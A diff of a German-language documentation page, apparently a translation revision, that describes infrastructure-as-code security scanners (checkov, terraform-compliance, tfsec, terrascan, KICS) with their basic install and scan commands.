+Es scannt Cloud-Infrastruktur, die mit [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) bereitgestellt wurde, und erkennt Sicherheits- und Compliance-Fehlkonfigurationen mithilfe graphbasierter Scans.
 
-Es führt [Software Composition Analysis (SCA) Scans](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) durch, die einen Scan von Open-Source-Paketen und Images auf Common Vulnerabilities and Exposures (CVEs) darstellen.
+Es führt [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) durch, bei dem Open-Source-Pakete und Images auf Common Vulnerabilities and Exposures (CVEs) untersucht werden.
 ```bash
 pip install checkov
 checkov -d /path/to/folder
 ```
 ### [terraform-compliance](https://github.com/terraform-compliance/cli)
 
-Aus den [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` ist ein leichtgewichtiges, auf Sicherheit und Compliance fokussiertes Testframework gegen terraform, um negative Testfähigkeiten für Ihre Infrastruktur-as-Code zu ermöglichen.
+Aus den [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` ist ein leichtgewichtiges, auf Security und Compliance ausgerichtetes Test-Framework für terraform, das negative Testmöglichkeiten für Ihre infrastructure-as-code bietet.
 
-- **compliance:** Stellen Sie sicher, dass der implementierte Code den Sicherheitsstandards und Ihren eigenen benutzerdefinierten Standards entspricht.
-- **behaviour driven development:** Wir haben BDD für fast alles, warum nicht für IaC?
-- **portable:** einfach von `pip` installieren oder über `docker` ausführen. Siehe [Installation](https://terraform-compliance.com/pages/installation/)
-- **pre-deploy:** es validiert Ihren Code, bevor er bereitgestellt wird.
-- **easy to integrate:** es kann in Ihrer Pipeline (oder in Git-Hooks) ausgeführt werden, um sicherzustellen, dass alle Bereitstellungen validiert werden.
-- **segregation of duty:** Sie können Ihre Tests in einem anderen Repository aufbewahren, für das ein separates Team verantwortlich ist.
+- **compliance:** Sicherstellen, dass der implementierte Code Sicherheitsstandards und Ihre eigenen Richtlinien einhält
+- **behaviour driven development:** Wir haben BDD für fast alles — warum nicht auch für IaC?
+- **portable:** einfach mit `pip` installieren oder per `docker` ausführen. Siehe [Installation](https://terraform-compliance.com/pages/installation/)
+- **pre-deploy:** es validiert Ihren Code, bevor er bereitgestellt wird
+- **easy to integrate:** es kann in Ihrer Pipeline (oder in git hooks) laufen, um sicherzustellen, dass alle Deployments validiert werden.
+- **segregation of duty:** Sie können Ihre Tests in einem separaten Repository halten, in dem ein anderes Team verantwortlich ist.
 
 > [!NOTE]
-> Leider können Sie, wenn der Code einige Anbieter verwendet, auf die Sie keinen Zugriff haben, das `terraform plan` nicht ausführen und dieses Tool nicht verwenden.
+> Leider: Wenn der Code Provider verwendet, auf die Sie keinen Zugriff haben, können Sie kein `terraform plan` ausführen und dieses Tool nicht betreiben.
 ```bash
 pip install terraform-compliance
 terraform plan -out=plan.out
@@ -322,26 +349,39 @@ terraform-compliance -f /path/to/folder
 ```
 ### [tfsec](https://github.com/aquasecurity/tfsec)
 
-Aus den [**docs**](https://github.com/aquasecurity/tfsec): tfsec verwendet statische Analyse Ihres Terraform-Codes, um potenzielle Fehlkonfigurationen zu erkennen.
+Aus den [**docs**](https://github.com/aquasecurity/tfsec): tfsec verwendet statische Analyse Ihres terraform-Codes, um potenzielle Fehlkonfigurationen aufzuspüren.
 
-- ☁️ Überprüft Fehlkonfigurationen bei allen großen (und einigen kleineren) Cloud-Anbietern
-- ⛔ Hunderte von integrierten Regeln
+- ☁️ Prüft auf Fehlkonfigurationen bei allen großen (und einigen kleineren) Cloud-Anbietern
+- ⛔ Hunderte integrierter Regeln
 - 🪆 Scannt Module (lokal und remote)
-- ➕ Bewertet HCL-Ausdrücke sowie literale Werte
-- ↪️ Bewertet Terraform-Funktionen z.B. `concat()`
-- 🔗 Bewertet Beziehungen zwischen Terraform-Ressourcen
+- ➕ Bewertet HCL-Ausdrücke sowie Literalwerte
+- ↪️ Bewertet Terraform-Funktionen, z. B. `concat()`
+- 🔗 Analysiert Beziehungen zwischen Terraform-Ressourcen
 - 🧰 Kompatibel mit dem Terraform CDK
-- 🙅 Wendet (und verfeinert) benutzerdefinierte Rego-Richtlinien an
+- 🙅 Wendet benutzerdefinierte Rego-Policies an (und erweitert sie)
 - 📃 Unterstützt mehrere Ausgabeformate: lovely (Standard), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
-- 🛠️ Konfigurierbar (über CLI-Flags und/oder Konfigurationsdatei)
-- ⚡ Sehr schnell, in der Lage, riesige Repositories schnell zu scannen
+- 🛠️ Konfigurierbar (per CLI-Flags und/oder Konfigurationsdatei)
+- ⚡ Sehr schnell, kann große Repositories zügig scannen
 ```bash
 brew install tfsec
 tfsec /path/to/folder
 ```
+### [terrascan](https://github.com/tenable/terrascan)
+
+Terrascan ist ein statisches Code-Analyse-Tool für Infrastructure as Code. Terrascan ermöglicht Ihnen:
+
+- Scannt nahtlos Infrastructure as Code auf Fehlkonfigurationen.
+- Überwacht bereitgestellte Cloud-Infrastruktur auf Konfigurationsänderungen, die zu einem Drift der Sicherheitslage führen, und ermöglicht das Zurückkehren zu einer sicheren Konfiguration.
+- Erkennt Sicherheitslücken und Compliance-Verstöße.
+- Reduziert Risiken, bevor cloud-native Infrastruktur bereitgestellt wird.
+- Bietet die Flexibilität, lokal ausgeführt zu werden oder in Ihre CI\CD zu integrieren.
+```bash
+brew install terrascan
+terrascan scan -d /path/to/folder
+```
 ### [KICKS](https://github.com/Checkmarx/kics)
 
-Finden Sie Sicherheitsanfälligkeiten, Compliance-Probleme und Fehlkonfigurationen der Infrastruktur früh im Entwicklungszyklus Ihrer Infrastruktur-as-Code mit **KICS** von Checkmarx.
+Finde Sicherheitslücken, Compliance-Probleme und Fehlkonfigurationen der Infrastruktur früh im Entwicklungszyklus deiner Infrastructure-as-Code mit **KICS** von Checkmarx.
 
 **KICS** steht für **K**eeping **I**nfrastructure as **C**ode **S**ecure, es ist Open Source und ein Muss für jedes cloud-native Projekt.
 ```bash
@@ -349,13 +389,13 @@ docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
 ```
 ### [Terrascan](https://github.com/tenable/terrascan)
 
-Aus den [**docs**](https://github.com/tenable/terrascan): Terrascan ist ein statischer Code-Analyzer für Infrastructure as Code. Terrascan ermöglicht es Ihnen:
+Aus den [**docs**](https://github.com/tenable/terrascan): Terrascan ist ein statischer Code-Analyzer für Infrastructure as Code. Terrascan ermöglicht:
 
-- Nahtlos Infrastruktur als Code auf Fehlkonfigurationen zu scannen.
-- Bereitgestellte Cloud-Infrastruktur auf Konfigurationsänderungen zu überwachen, die zu einer Abweichung der Sicherheitslage führen, und ermöglicht das Zurückkehren zu einer sicheren Sicherheitslage.
-- Sicherheitsanfälligkeiten und Compliance-Verstöße zu erkennen.
+- Infrastructure as Code nahtlos auf Fehlkonfigurationen zu scannen.
+- Bereitgestellte Cloud-Infrastruktur auf Konfigurationsänderungen zu überwachen, die Posture Drift verursachen, und das Zurücksetzen auf einen sicheren Zustand zu ermöglichen.
+- Sicherheitslücken und Compliance-Verstöße zu erkennen.
 - Risiken zu mindern, bevor cloud-native Infrastruktur bereitgestellt wird.
-- Bietet Flexibilität, lokal zu arbeiten oder in Ihre CI\CD zu integrieren.
+- Flexibilität zu bieten, lokal ausgeführt zu werden oder in Ihr CI\CD integriert zu werden.
 ```bash
 brew install terrascan
 ```